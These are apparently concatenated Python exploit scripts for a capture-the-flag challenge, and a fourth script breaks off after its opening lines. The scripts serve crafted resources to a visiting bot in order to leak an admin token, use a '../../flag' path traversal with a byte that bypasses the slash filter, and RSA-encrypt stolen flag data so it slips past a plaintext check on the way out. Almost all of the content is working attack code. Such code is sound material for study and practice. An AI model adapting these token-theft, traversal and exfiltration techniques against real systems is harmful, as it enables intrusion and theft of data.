import os
import base64
import re
import secrets
import socket
import struct
import sys
import time

ip = os.environ.get("TARGET_IP", "127.0.0.1")
port = int(os.environ.get("TARGET_PORT", "8083"))
roost = os.environ.get("ROOST", "defcon_defender")
note_name = os.environ.get("NOTE_NAME", "rotation-schedule")
socket_timeout = float(os.environ.get("SOCKET_TIMEOUT", "20"))
poll_seconds = float(os.environ.get("POLL_SECONDS", "2"))
max_tries = int(os.environ.get("MAX_TRIES", "3"))

TWIG = base64.b64decode(
    "poCkhoSmd6ChpoRnh4imxqaLoHemq6KEd6aAi6GgB6aApIaEpnegoaaEZ4eIpsaii4x3pquihHeii6eMgIaEBwSHiKYGBIiFBYKhoIOIpoihoAUWhaGnoIMWBgSmh4SgBgSLiAYEoICMhAYWiIMWFASLiKCEBhaBhIWhpIQWBIyApIoGFqOnhKSrFhQWgIWmhKQWFBQUFBQ="
)
TALON = base64.b64decode(
    "haGnoIPIhYCLpYRagYSFoaSEyCcnWoCFpoSkyCcnWouEptqmoYqEoMighKWmxouhgINHJ6ahioSgJ1dahYSmgodHJCemgKSGhKYnJiegoaaEZ4KhoKaEoKYnNieAgqaIoaAnJieylLSSlyc2J4eEgIOEpKUnJiQnpYSlpYihoCcmpqGKhKA0NieBoYOrJyaLgKtHJCeggIyEJyaIgzRXNElIpISlollEiIVFpquihKGFR6SEpaJXyMgnpISloqGgpYQn1NSkhKWixqaApIaEpsjIJ6ChpoRngqGgpoSgpifU1KSEpaLGgIKmiKGgyMgnECdVRIiFRYuEoEekhKWixoGhg6tXyMjgVUSkhKanpKBUWouEptqhyIKkgIKKR6SEpaLGgaGDq1dai4Sm2qaEqqbIocaCoaCmhKCmWoiFRaaEqqbIyKCni4tVRKSEpqekoFRai4Sm2ojIiKCDhKrRoYVHpoSqpkmjp4Skq1daiIVFiMjIoKeLi1VEpISmp6SgVFqBhIWhpITIpYuIgoRHpoSqpkngSYhXWoCFpoSkyKWLiIKER6aEqqZJiMCLhKBHo6eEpKtXSYuEoEemhKqmV1dahaGnoIPIpqSnhFRUWFc="
)
PLUMAGE = base64.b64decode(
    "h4imKouAq6GnpiqCoYunjKAqqYiDpocq8ODg0zqLiCqLgKuhp6YqgqGLp4ygKoaAoirhoqoqgYCCioakoaeggyrX8PLwg/HxKoGhpIOEpCrwoqra1+GC8YDygCqigIODiKCGKuOiqiqpiIOmhyrw4ODTOqCAjIQqhaGgptCliKyEKvDgoqoqgqGLoaQq1+Tx9OKB4DqLiKCEKoWhoKbQpYishCrw4aKqKoKhi6GkKteE4YTkheA6jICkiiqBgIKKhqShp6CDKtfzg4PxhYIqgqGLoaQq1+CB8ODh4A=="
)

ROWS = {
    0x80: "abcdefghijklm([{", 0x90: "ABCDEFGHIJKLM)]}",
    0xA0: "nopqrstuvwxyz<'/", 0xB0: 'NOPQRSTUVWXYZ>"\\',
    0xC0: "+|!*^:.@=`\x00\t", 0xD0: "-_?%&;,#$~ \n",
    0xE0: "02468", 0xF0: "13579",
}
DECODE = {s + o: c for s, chars in ROWS.items() for o, c in enumerate(chars)}
ENCODE = {c: b for b, c in DECODE.items()}
ENCODE["/"] = 0x67
DECODE[0x67] = "/"

RSA_N = 91122709
RSA_E = 65537
RSA_D = 26813825
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-"
MAX_FLAG_LENGTH = 128
CIPHER_PREFIX = "MCENC"
FLAG_RE = re.compile(r"bbb\{[^}\r\n]{1,124}\}")


def encode(value):
    return bytes(ENCODE[char] for char in value)


def decode(value):
    return "".join(DECODE.get(byte, "") for byte in value)


def response_frame(request_id, resource_type, body):
    request_word = struct.pack(">H", request_id)
    return (
        b"de\x01" + request_word + encode("status") + b"\x77\x70\x77"
        + encode("type") + b"\x77" + encode(resource_type)
        + b"\x74du\x01" + request_word + body + b"\x74"
    )


def call(name, *arguments):
    return encode(name) + b"\x47" + b"\x49".join(arguments) + b"\x57"


def literal(value):
    return b"\x27" + encode(value) + b"\x27"


def statement(value):
    return value + b"\x5a"


def if_block(condition, body):
    return encode("if") + b"\x45" + condition + b"\x55\x44" + body + b"\x54\x5a"


def make_talon(target, action, session_value, body_name=None):
    """Patch the base TALON template: retarget the fetch, inject the roost,
    swap PERCH->PECK, set session/body values, and wire navigate(resp.body)
    into the (originally empty) callback body."""
    talon = TALON
    if target != "note/content":
        talon = talon.replace(
            b"'" + encode("note/content") + b"'",
            b"'" + encode(target) + b"'",
            1,
        )
    if action == "PECK":
        talon = talon.replace(
            b"'" + encode("PERCH") + b"'",
            b"'" + encode("PECK") + b"'",
            1,
        )

    target_action = b"'" + encode(target) + b"'\x36'" + encode("action")
    routed_target = (
        b"'" + encode(target) + b"'\x36'" + encode("roost") + b"'\x26'"
        + encode(roost) + b"'\x36'" + encode("action")
    )
    talon = talon.replace(target_action, routed_target, 1)

    old_headers = b"$'" + encode("session") + b"'\x26" + encode("token") + b"\x34"
    new_headers = b"$'" + encode("session") + b"'\x26'" + session_value + b"'\x34"
    talon = talon.replace(old_headers, new_headers, 1)

    old_body = b"$'" + encode("name") + b"'\x26" + encode("id") + b"\x34"
    new_body = b"$'" + encode("name") + b"'\x26'" + (body_name or b"") + b"'\x34"
    talon = talon.replace(old_body, new_body, 1)
    if body_name is None:
        body_property = (
            b"\x36'" + encode("body") + b"'\x26" + encode("lay") + b"\x47"
            + new_body + b"\x57"
        )
        talon = talon.replace(body_property, b"", 1)

    callback = b"\x49\x48" + encode("resp") + b"\x59\x44"
    navigate = call("navigate", encode("resp.body")) + b"\x5a"
    return talon.replace(callback, callback + navigate, 1)


def encryption_callback():
    code = statement(encode("let text=resp.body"))
    code += statement(encode("let start=") + call("index_of", encode("text"), literal("bbb{")))
    code += statement(encode("let stop=") + call("index_of", encode("text"), literal("}")))

    function_body = statement(encode("let r=m"))
    for _ in range(16):
        function_body += statement(encode(f"r=r*r%{RSA_N}"))
    function_body += statement(encode(f"r=r*m%{RSA_N}"))
    function_body += statement(encode("return r"))
    code += encode("enc=") + b"\x48" + encode("m") + b"\x59\x44" + function_body + b"\x54\x58\x5a"
    code += statement(encode("out=") + literal(CIPHER_PREFIX))

    for offset in range(MAX_FLAG_LENGTH):
        character, message, cipher = f"ch{offset}", f"m{offset}", f"c{offset}"
        body = statement(
            encode(f"let {character}=")
            + call("slice", encode("text"), encode(f"start+{offset}"), encode(f"start+{offset + 1}"))
        )
        body += statement(
            encode(f"let {message}=")
            + call("index_of", literal(ALPHABET), encode(character))
            + encode(f"+1+{len(ALPHABET)}*{offset + 1}")
        )
        body += statement(encode(f"let {cipher}=") + call("enc", encode(message)))
        body += statement(encode("out=out+") + literal("-") + encode(f"+{cipher}"))
        code += if_block(encode(f"start+{offset}<=stop"), body)

    return code + statement(call("navigate", encode("out")))


ENCRYPTION_CALLBACK = encryption_callback()


def make_encryption_talon(token):
    talon = make_talon("note/view/" + note_name, "PECK", encode(token))
    old = call("navigate", encode("resp.body")) + b"\x5a"
    if old not in talon:
        raise RuntimeError("failed to patch the Talon callback")
    return talon.replace(old, ENCRYPTION_CALLBACK, 1)


def unique_twig():
    """Randomize the twig's referenced resource paths so a live broker/bot
    that caches by path doesn't short-circuit repeated runs against the same
    static TWIG/TALON blobs."""
    nonce = secrets.token_hex(6)
    twig = TWIG.replace(encode("note/hit.tln"), encode("s1/" + nonce + ".tln"), 1)
    twig = twig.replace(encode("note/hit.plm"), encode("s1/" + nonce + ".plm"), 1)
    if twig == TWIG:
        raise RuntimeError("failed to randomize resource targets")
    return twig


def decrypt_target(target):
    parts = target.split("-")
    if parts[0] != CIPHER_PREFIX or len(parts) == 1:
        raise RuntimeError("invalid encrypted target")
    plaintext = []
    for position, block_text in enumerate(parts[1:], 1):
        block = int(block_text)
        if not 0 <= block < RSA_N:
            raise RuntimeError("RSA block is out of range")
        message = pow(block, RSA_D, RSA_N)
        index = message - len(ALPHABET) * position - 1
        if not 0 <= index < len(ALPHABET):
            raise RuntimeError("RSA plaintext block is invalid")
        plaintext.append(ALPHABET[index])
    flag = "".join(plaintext)
    if FLAG_RE.fullmatch(flag) is None:
        raise RuntimeError("decrypted value is not a flag")
    return flag


class VisitorConnection:
    def __init__(self):
        self.socket = socket.create_connection((ip, port), socket_timeout)
        self.socket.settimeout(socket_timeout)
        self.buffer = bytearray()
        self.sent = bytearray()
        self.received = bytearray()

    def send(self, data):
        self.sent.extend(data)
        self.socket.sendall(data)

    def recv(self):
        try:
            data = self.socket.recv(65536)
        except socket.timeout:
            return b""
        self.received.extend(data)
        return data

    def recvn(self, size):
        result = bytearray()
        while len(result) < size:
            chunk = self.recv()
            if not chunk:
                break
            result.extend(chunk)
        return bytes(result)

    def receive_request(self, request_id):
        terminator = b"du\x01" + struct.pack(">H", request_id) + b"\x74"
        while True:
            offset = self.buffer.find(terminator)
            if offset >= 0:
                end = offset + len(terminator)
                request = bytes(self.buffer[:end])
                del self.buffer[:end]
                return request
            chunk = self.recv()
            if not chunk:
                raise RuntimeError(f"request {request_id} was not received")
            self.buffer.extend(chunk)

    def close(self):
        try:
            self.socket.close()
        except OSError:
            pass


def run_once(verbose=True):
    connection = VisitorConnection()
    try:
        connection.send(b"V")
        handshake = connection.recvn(6)
        if len(handshake) != 6 or not handshake.startswith(b"df"):
            raise RuntimeError("invalid broker handshake")
        connection.send(handshake)
        if verbose:
            print("[*] Handshake OK")

        marker = encode("<{(review_token)}>")
        first_talon = make_talon("note/view/" + note_name, "PECK", encode("x"), marker)
        for request_id, resource_type, body in (
            (1, "twig", unique_twig()), (2, "talon", first_talon), (3, "plumage", PLUMAGE),
        ):
            connection.receive_request(request_id)
            connection.send(response_frame(request_id, resource_type, body))
            if verbose:
                print(f"[+] Served request {request_id} ({resource_type})")

        token_request = connection.receive_request(4)
        token_match = re.search(r"Welcome back, ([0-9a-f]{32})!", decode(token_request))
        if token_match is None:
            raise RuntimeError("admin token was not leaked")
        token = token_match.group(1)
        if verbose:
            print(f"[+] Leaked review_token: {token}")

        nonce2 = secrets.token_hex(6)
        second_twig = TWIG.replace(encode("note/hit.tln"), encode("s2/" + nonce2 + ".tln"), 1)
        second_twig = second_twig.replace(encode("note/hit.plm"), encode("s2/" + nonce2 + ".plm"), 1)
        connection.send(response_frame(4, "twig", second_twig))

        connection.receive_request(5)
        connection.send(response_frame(5, "talon", make_encryption_talon(token)))
        connection.receive_request(6)
        connection.send(response_frame(6, "plumage", PLUMAGE))

        cipher_request = connection.receive_request(7)
        match = re.search(rf"target({CIPHER_PREFIX}(?:-[0-9]+)+)roost", decode(cipher_request))
        if match is None:
            raise RuntimeError("encrypted flag was not returned")
        flag = decrypt_target(match.group(1))

        transcript = bytes(connection.sent + connection.received)
        if flag.encode("ascii") in transcript or encode(flag) in transcript or flag in decode(transcript):
            raise RuntimeError("plaintext flag appeared on the external connection")
        return flag
    finally:
        connection.close()


def run():
    attempts = 0
    last_error = "no result"
    while max_tries == 0 or attempts < max_tries:
        attempts += 1
        try:
            return run_once()
        except Exception as exc:
            last_error = str(exc) or type(exc).__name__
            print(f"[!] Attempt {attempts} failed: {last_error}")
        if max_tries == 0 or attempts < max_tries:
            time.sleep(poll_seconds)
    raise RuntimeError(f"failed after {attempts} tries: {last_error}")


def main():
    print(f"[*] bot (IP={ip}, PORT={port}, ROOST={roost}, NOTE={note_name})")
    try:
        flag = run()
    except Exception as exc:
        print(f"exploit failed: {exc}", file=sys.stderr)
        return 1
    print(f"[+] FLAG: {flag}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

import os
import base64
import re
import secrets
import socket
import struct
import sys
import time

ip = os.environ.get("TARGET_IP", "127.0.0.1")
port = int(os.environ.get("TARGET_PORT", "8083"))
roost = os.environ.get("ROOST", "defcon_defender")
read_path = os.environ.get("READ_PATH", os.environ.get("TRAVERSAL_PATH", "../../flag"))
socket_timeout = float(os.environ.get("SOCKET_TIMEOUT", "15"))
max_tries = int(os.environ.get("MAX_TRIES", "2"))
poll_seconds = float(os.environ.get("POLL_SECONDS", "0.25"))

TWIG = base64.b64decode(
    "poCkhoSmd6ChpoRnh4imxqaLoHemq6KEd6aAi6GgB6aApIaEpnegoaaEZ4eIpsaii4x3pquihHeii6eMgIaEBwSHiKYGBIiFBYKhoIOIpoihoAUWhaGnoIMWBgSmh4SgBgSLiAYEoICMhAYWiIMWFASLiKCEBhaBhIWhpIQWBIyApIoGFqOnhKSrFhQWgIWmhKQWFBQUFBQ="
)
PLUMAGE = base64.b64decode(
    "h4imKouAq6GnpiqCoYunjKAqqYiDpocq8ODg0zqLiCqLgKuhp6YqgqGLp4ygKoaAoirhoqoqgYCCioakoaeggyrX8PLwg/HxKoGhpIOEpCrwoqra1+GC8YDygCqigIODiKCGKuOiqiqpiIOmhyrw4ODTOqCAjIQqhaGgptCliKyEKvDgoqoqgqGLoaQq1+Tx9OKB4DqLiKCEKoWhoKbQpYishCrw4aKqKoKhi6GkKteE4YTkheA6jICkiiqBgIKKhqShp6CDKtfzg4PxhYIqgqGLoaQq1+CB8ODh4A=="
)

ROWS = {
    0x80: "abcdefghijklm([{", 0x90: "ABCDEFGHIJKLM)]}",
    0xA0: "nopqrstuvwxyz<'/", 0xB0: 'NOPQRSTUVWXYZ>"\\',
    0xC0: "+|!*^:.@=`\x00\t", 0xD0: "-_?%&;,#$~ \n",
    0xE0: "02468", 0xF0: "13579",
}
DECODE = {s + o: c for s, chars in ROWS.items() for o, c in enumerate(chars)}
ENCODE = {c: b for b, c in DECODE.items()}
ENCODE["/"] = 0x67
DECODE[0x67] = "/"

RSA_N = 91122709
RSA_D = 26813825
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_"
MAX_FLAG_LENGTH = 128
CIPHER_PREFIX = "MCENCV" + secrets.token_hex(6)
FLAG_RE = re.compile(r"bbb\{[^}\r\n]{1,124}\}")


def encode(value):
    return bytes(ENCODE[char] for char in value)


def decode(value):
    return "".join(DECODE.get(byte, "") for byte in value)


def call(name, *arguments):
    return encode(name) + b"\x47" + b"\x49".join(arguments) + b"\x57"


def literal(value):
    return b"\x27" + encode(value) + b"\x27"


def raw_literal(value):
    return b"\x27" + value + b"\x27"


def statement(value):
    return value + b"\x5a"


def if_block(condition, body):
    return encode("if") + b"\x45" + condition + b"\x55\x44" + body + b"\x54\x5a"


def object_value(items):
    result = bytearray(b"\x24")
    for index, (key, value) in enumerate(items):
        if index:
            result.append(0x36)
        result += b"\x27" + encode(key) + b"\x27\x26" + value
    result.append(0x34)
    return bytes(result)


def function_value(arguments, body):
    return b"\x48" + b"\x36".join(encode(a) for a in arguments) + b"\x59\x44" + body + b"\x54\x58"


def encryption_callback():
    code = statement(encode("let text=resp.body"))
    code += statement(encode("let start=") + call("index_of", encode("text"), literal("bbb{")))
    code += statement(encode("let stop=") + call("index_of", encode("text"), literal("}")))

    function_body = statement(encode("let r=m"))
    for _ in range(16):
        function_body += statement(encode(f"r=r*r%{RSA_N}"))
    function_body += statement(encode(f"r=r*m%{RSA_N}"))
    function_body += statement(encode("return r"))
    code += encode("enc=") + b"\x48" + encode("m") + b"\x59\x44" + function_body + b"\x54\x58\x5a"
    code += statement(encode("out=") + literal(CIPHER_PREFIX))

    for offset in range(MAX_FLAG_LENGTH):
        character, message, cipher = f"ch{offset}", f"m{offset}", f"c{offset}"
        body = statement(
            encode(f"let {character}=")
            + call("slice", encode("text"), encode(f"start+{offset}"), encode(f"start+{offset + 1}"))
        )
        body += statement(
            encode(f"let {message}=")
            + call("index_of", literal(ALPHABET), encode(character))
            + encode(f"+1+{len(ALPHABET)}*{offset + 1}")
        )
        body += statement(encode(f"let {cipher}=") + call("enc", encode(message)))
        body += statement(encode("out=out+") + literal("-") + encode(f"+{cipher}"))
        code += if_block(encode(f"start+{offset}<=stop"), body)

    return code + statement(call("navigate", encode("out")))


ENCRYPTION_CALLBACK = encryption_callback()


def noteview_target(path):
    if path.startswith("/"):
        raise ValueError("READ_PATH must be relative to VFS_ROOT")
    parts = path.split("/")
    if not parts or any(not part for part in parts):
        raise ValueError("READ_PATH contains an empty segment")
    encoded_parts = [encode(part) for part in parts]
    return encode("note/view/") + b"\xaf".join(encoded_parts)


def make_noteview_talon():
    request = object_value([
        ("target", raw_literal(noteview_target(read_path))),
        ("roost", literal(roost)),
        ("action", literal("PECK")),
    ])
    return statement(call("fetch", request, function_value(["resp"], ENCRYPTION_CALLBACK)))


TALON = make_noteview_talon()


def unique_twig():
    nonce = secrets.token_hex(6)
    twig = TWIG.replace(encode("note/hit.tln"), encode("viewtrap/" + nonce + ".tln"), 1)
    twig = twig.replace(encode("note/hit.plm"), encode("viewtrap/" + nonce + ".plm"), 1)
    if twig == TWIG:
        raise RuntimeError("failed to randomize resource targets")
    return twig


def response_frame(request_id, resource_type, body):
    request_word = struct.pack(">H", request_id)
    return (
        b"de\x01" + request_word + encode("status") + b"\x77\x70\x77"
        + encode("type") + b"\x77" + encode(resource_type)
        + b"\x74du\x01" + request_word + body + b"\x74"
    )


class VisitorConnection:
    def __init__(self):
        self.socket = socket.create_connection((ip, port), socket_timeout)
        self.socket.settimeout(socket_timeout)
        self.buffer = bytearray()
        self.sent = bytearray()
        self.received = bytearray()

    def send(self, data):
        self.sent.extend(data)
        self.socket.sendall(data)

    def recv(self):
        try:
            data = self.socket.recv(65536)
        except socket.timeout:
            return b""
        self.received.extend(data)
        return data

    def recv_exact(self, size):
        result = bytearray()
        while len(result) < size:
            chunk = self.recv()
            if not chunk:
                break
            result.extend(chunk)
        return bytes(result)

    def receive_request(self, request_id):
        terminator = b"du\x01" + struct.pack(">H", request_id) + b"\x74"
        while True:
            offset = self.buffer.find(terminator)
            if offset >= 0:
                end = offset + len(terminator)
                request = bytes(self.buffer[:end])
                del self.buffer[:end]
                return request
            chunk = self.recv()
            if not chunk:
                raise RuntimeError(f"visitor request {request_id} was not received")
            self.buffer.extend(chunk)

    def transcript(self):
        return bytes(self.sent + self.received)

    def close(self):
        try:
            self.socket.close()
        except OSError:
            pass


def decrypt_target(target):
    parts = target.split("-")
    if parts[0] != CIPHER_PREFIX or len(parts) == 1:
        raise RuntimeError("invalid encrypted target")
    plaintext = []
    for position, block_text in enumerate(parts[1:], 1):
        block = int(block_text)
        if not 0 <= block < RSA_N:
            raise RuntimeError("RSA block is out of range")
        message = pow(block, RSA_D, RSA_N)
        index = message - len(ALPHABET) * position - 1
        if not 0 <= index < len(ALPHABET):
            raise RuntimeError("RSA plaintext block is invalid")
        plaintext.append(ALPHABET[index])
    flag = "".join(plaintext)
    if FLAG_RE.fullmatch(flag) is None:
        raise RuntimeError("decrypted value is not a flag")
    return flag


def run_once(verbose=True):
    connection = VisitorConnection()
    try:
        connection.send(b"V")
        handshake = connection.recv_exact(6)
        if len(handshake) != 6 or not handshake.startswith(b"df"):
            raise RuntimeError("invalid broker handshake")
        connection.send(handshake)
        if verbose:
            print("[*] Handshake OK")

        for request_id, resource_type, body in (
            (1, "twig", unique_twig()), (2, "talon", TALON), (3, "plumage", PLUMAGE),
        ):
            connection.receive_request(request_id)
            connection.send(response_frame(request_id, resource_type, body))
            if verbose:
                print(f"[+] Served request {request_id} ({resource_type})")

        cipher_request = connection.receive_request(4)
        match = re.search(rf"target({CIPHER_PREFIX}(?:-[0-9]+)+)roost", decode(cipher_request))
        if match is None:
            raise RuntimeError("encrypted flag was not returned")
        flag = decrypt_target(match.group(1))
        connection.send(response_frame(4, "twig", b"\x04" + encode("root") + b"\x14"))

        transcript = connection.transcript()
        if flag.encode("ascii") in transcript or encode(flag) in transcript or flag in decode(transcript):
            raise RuntimeError("plaintext flag appeared on the external connection")
        return flag
    finally:
        connection.close()


def run():
    last_error = "no result"
    for attempt in range(max_tries):
        try:
            return run_once()
        except Exception as exc:
            last_error = str(exc) or type(exc).__name__
            print(f"[!] Attempt {attempt + 1} failed: {last_error}")
        if attempt + 1 < max_tries:
            time.sleep(poll_seconds)
    raise RuntimeError(f"failed after {max_tries} tries: {last_error}")


def main():
    print(f"[*] (IP={ip}, PORT={port}, ROOST={roost}, READ_PATH={read_path})")
    try:
        flag = run()
    except Exception as exc:
        print(f"exploit failed: {exc}", file=sys.stderr)
        return 1
    print(f"[+] FLAG: {flag}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

import os
import base64
import re
import secrets
import socket
import struct
import sys
import time

ip = os.environ.get("TARGET_IP", "127.0.0.1")
port = int(os.environ.get("TARGET_PORT", "8083"))
roost = os.environ.get("ROOST", "defcon_defender")
read_path = os.environ.get("READ_PATH", os.environ.get("TRAVERSAL_PATH", "../../flag"))
socket_timeout = float(os.environ.get("SOCKET_TIMEOUT", "15"))
max_tries = int(os.environ.get("MAX_TRIES", "2"))
poll_seconds = float(os.environ.get("POLL_SECONDS", "0.25"))

TWIG = base64.b64decode(
    "poCkhoSmd6ChpoRnh4imxqaLoHemq6KEd6aAi6GgB6aApIaEpnegoaaEZ4eIpsaii4x3pquihHeii6eMgIaEBwSHiKYGBIiFBYKhoIOIpoihoAUWhaGnoIMWBgSmh4SgBgSLiAYEoICMhAYWiIMWFASLiKCEBhaBhIWhpIQWBIyApIoGFqOnhKSrFhQWgIWmhKQWFBQUFBQ="
)
PLUMAGE = base64.b64decode(
    "h4imKouAq6GnpiqCoYunjKAqqYiDpocq8ODg0zqLiCqLgKuhp6YqgqGLp4ygKoaAoirhoqoqgYCCioakoaeggyrX8PLwg/HxKoGhpIOEpCrwoqra1+GC8YDygCqigIODiKCGKuOiqiqpiIOmhyrw4ODTOqCAjIQqhaGgptCliKyEKvDgoqoqgqGLoaQq1+Tx9OKB4DqLiKCEKoWhoKbQpYishCrw4aKqKoKhi6GkKteE4YTkheA6jICkiiqBgIKKhqShp6CDKtfzg4PxhYIqgqGLoaQq1+CB8ODh4A=="
)

ROWS = {
    0x80: "abcdefghijklm([{", 0x90: "ABCDEFGHIJKLM)]}",
    0xA0: "nopqrstuvwxyz<'/", 0xB0: 'NOPQRSTUVWXYZ>"\\',
    0xC0: "+|!*^:.@=`\x00\t", 0xD0: "-_?%&;,#$~ \n",
    0xE0: "02468", 0xF0: "13579",
}
DECODE = {s + o: c for s, chars in ROWS.items() for o, c in enumerate(chars)}
ENCODE = {c: b for b, c in DECODE.items()}
ENCODE["/"] = 0x67
DECODE[0x67] = "/"

RSA_N = 91122709
RSA_D = 26813825
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_"
MAX_FLAG_LENGTH = 64
CIPHER_PREFIX = "MCENCF" + secrets.token_hex(6)
FLAG_RE = re.compile(r"bbb\{[^}\r\n]{1,124}\}")


def encode(value):
    return bytes(ENCODE[char] for char in value)


def decode(value):
    return "".join(DECODE.get(byte, "") for byte in value)


def call(name, *arguments):
    return encode(name) + b"\x47" + b"\x49".join(arguments) + b"\x57"


def literal(value):
    return b"\x27" + encode(value) + b"\x27"


def text_literal(value):
    """Like literal(), but every '/' is encoded as the 0xAF bypass byte
    instead of the app's own 0x67 -- this is the actual traversal payload."""
    encoded = bytes(0xAF if char == "/" else ENCODE[char] for char in value)
    return b"\x27" + encoded + b"\x27"


def statement(value):
    return value + b"\x5a"


def if_block(condition, body):
    return encode("if") + b"\x45" + condition + b"\x55\x44" + body + b"\x54\x5a"


def object_value(items):
    result = bytearray(b"\x24")
    for index, (key, value) in enumerate(items):
        if index:
            result.append(0x36)
        result += b"\x27" + encode(key) + b"\x27\x26" + value
    result.append(0x34)
    return bytes(result)


def function_value(arguments, body):
    return b"\x48" + b"\x36".join(encode(a) for a in arguments) + b"\x59\x44" + body + b"\x54\x58"


def encryption_callback():
    code = statement(encode("let text=resp.body"))
    code += statement(encode("let start=") + call("index_of", encode("text"), literal("bbb{")))
    code += statement(encode("let stop=") + call("index_of", encode("text"), literal("}")))

    function_body = statement(encode("let r=m"))
    for _ in range(16):
        function_body += statement(encode(f"r=r*r%{RSA_N}"))
    function_body += statement(encode(f"r=r*m%{RSA_N}"))
    function_body += statement(encode("return r"))
    code += encode("enc=") + b"\x48" + encode("m") + b"\x59\x44" + function_body + b"\x54\x58\x5a"
    code += statement(encode("out=") + literal(CIPHER_PREFIX))

    for offset in range(MAX_FLAG_LENGTH):
        character, message, cipher = f"ch{offset}", f"m{offset}", f"c{offset}"
        body = statement(
            encode(f"let {character}=")
            + call("slice", encode("text"), encode(f"start+{offset}"), encode(f"start+{offset + 1}"))
        )
        body += statement(
            encode(f"let {message}=")
            + call("index_of", literal(ALPHABET), encode(character))
            + encode(f"+1+{len(ALPHABET)}*{offset + 1}")
        )
        body += statement(encode(f"let {cipher}=") + call("enc", encode(message)))
        body += statement(encode("out=out+") + literal("-") + encode(f"+{cipher}"))
        code += if_block(encode(f"start+{offset}<=stop"), body)

    return code + statement(call("navigate", encode("out")))


ENCRYPTION_CALLBACK = encryption_callback()


def make_fragment_talon():
    if read_path.startswith("/"):
        raise ValueError("READ_PATH must be relative to PUBLIC_ROOT")
    if not read_path or "//" in read_path:
        raise ValueError("READ_PATH contains an empty segment")

    cache_target = "frag/" + secrets.token_hex(6)
    request = object_value([
        ("target", literal(cache_target)),
        ("roost", literal(roost)),
        ("action", literal("PERCH")),
        ("headers", object_value([("target", literal("fragment"))])),
        ("body", call("lay", object_value([("partial", text_literal(read_path))]))),
    ])
    return statement(call("fetch", request, function_value(["resp"], ENCRYPTION_CALLBACK)))


TALON = make_fragment_talon()


def unique_twig():
    nonce = secrets.token_hex(6)
    twig = TWIG.replace(encode("note/hit.tln"), encode("fragment/" + nonce + ".tln"), 1)
    twig = twig.replace(encode("note/hit.plm"), encode("fragment/" + nonce + ".plm"), 1)
    if twig == TWIG:
        raise RuntimeError("failed to randomize resource targets")
    return twig


def response_frame(request_id, resource_type, body):
    request_word = struct.pack(">H", request_id)
    return (
        b"de\x01" + request_word + encode("status") + b"\x77\x70\x77"
        + encode("type") + b"\x77" + encode(resource_type)
        + b"\x74du\x01" + request_word + body + b"\x74"
    )


class VisitorConnection:
    def __init__(self):
        self.socket = socket.create_connection((ip, port), socket_timeout)
        self.socket.settimeout(socket_timeout)
        self.buffer = bytearray()
        self.sent = bytearray()
        self.received = bytearray()

    def send(self, data):
        self.sent.extend(data)
        self.socket.sendall(data)

    def recv(self):
        try:
            data = self.socket.recv(65536)
        except socket.timeout:
            return b""
        self.received.extend(data)
        return data

    def recv_exact(self, size):
        result = bytearray()
        while len(result) < size:
            chunk = self.recv()
            if not chunk:
                break
            result.extend(chunk)
        return bytes(result)

    def receive_request(self, request_id):
        terminator = b"du\x01" + struct.pack(">H", request_id) + b"\x74"
        while True:
            offset = self.buffer.find(terminator)
            if offset >= 0:
                end = offset + len(terminator)
                request = bytes(self.buffer[:end])
                del self.buffer[:end]
                return request
            chunk = self.recv()
            if not chunk:
                raise RuntimeError(f"visitor request {request_id} was not received")
            self.buffer.extend(chunk)

    def transcript(self):
        return bytes(self.sent + self.received)

    def close(self):
        try:
            self.socket.close()
        except OSError:
            pass


def decrypt_target(target):
    parts = target.split("-")
    if parts[0] != CIPHER_PREFIX or len(parts) == 1:
        raise RuntimeError("invalid encrypted target")
    plaintext = []
    for position, block_text in enumerate(parts[1:], 1):
        block = int(block_text)
        if not 0 <= block < RSA_N:
            raise RuntimeError("RSA block is out of range")
        message = pow(block, RSA_D, RSA_N)
        index = message - len(ALPHABET) * position - 1
        if not 0 <= index < len(ALPHABET):
            raise RuntimeError("RSA plaintext block is invalid")
        plaintext.append(ALPHABET[index])
    flag = "".join(plaintext)
    if FLAG_RE.fullmatch(flag) is None:
        raise RuntimeError("decrypted value is not a flag")
    return flag


def run_once(verbose=True):
    connection = VisitorConnection()
    try:
        connection.send(b"V")
        handshake = connection.recv_exact(6)
        if len(handshake) != 6 or not handshake.startswith(b"df"):
            raise RuntimeError("invalid broker handshake")
        connection.send(handshake)
        if verbose:
            print("[*] Handshake OK")

        for request_id, resource_type, body in (
            (1, "twig", unique_twig()), (2, "talon", TALON), (3, "plumage", PLUMAGE),
        ):
            connection.receive_request(request_id)
            connection.send(response_frame(request_id, resource_type, body))
            if verbose:
                print(f"[+] Served request {request_id} ({resource_type})")

        cipher_request = connection.receive_request(4)
        match = re.search(rf"target({CIPHER_PREFIX}(?:-[0-9]+)+)roost", decode(cipher_request))
        if match is None:
            raise RuntimeError("encrypted flag was not returned")
        flag = decrypt_target(match.group(1))
        connection.send(response_frame(4, "twig", b"\x04" + encode("root") + b"\x14"))

        transcript = connection.transcript()
        if flag.encode("ascii") in transcript or encode(flag) in transcript or flag in decode(transcript):
            raise RuntimeError("plaintext flag appeared on the external connection")
        return flag
    finally:
        connection.close()


def run():
    last_error = "no result"
    for attempt in range(max_tries):
        try:
            return run_once()
        except Exception as exc:
            last_error = str(exc) or type(exc).__name__
            print(f"[!] Attempt {attempt + 1} failed: {last_error}")
        if attempt + 1 < max_tries:
            time.sleep(poll_seconds)
    raise RuntimeError(f"failed after {max_tries} tries: {last_error}")


def main():
    print(f"[*] (IP={ip}, PORT={port}, ROOST={roost}, READ_PATH={read_path})")
    try:
        flag = run()
    except Exception as exc:
        print(f"exploit failed: {exc}", file=sys.stderr)
        return 1
    print(f"[+] FLAG: {flag}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

import os
import re
import socket
import struct
import sys
import time

START, HEAD, HANDSHAKE_TYPE, END, BODY, SEP = 0x64, 0x65, 0x66, 0x74, 0x75, 0x77
PECK, PERCH = 0x03, 0x10
HANDSHAKE = bytes([START, HANDSHAKE_TYPE, 0, 0, 0, END])

ip = os.environ.get("TARGET_IP", "127.0.0.1")
port = int(os.environ.get("TARGET_PORT", "8128"))
roost = os.environ.get("ROOST", "defcon_defender")
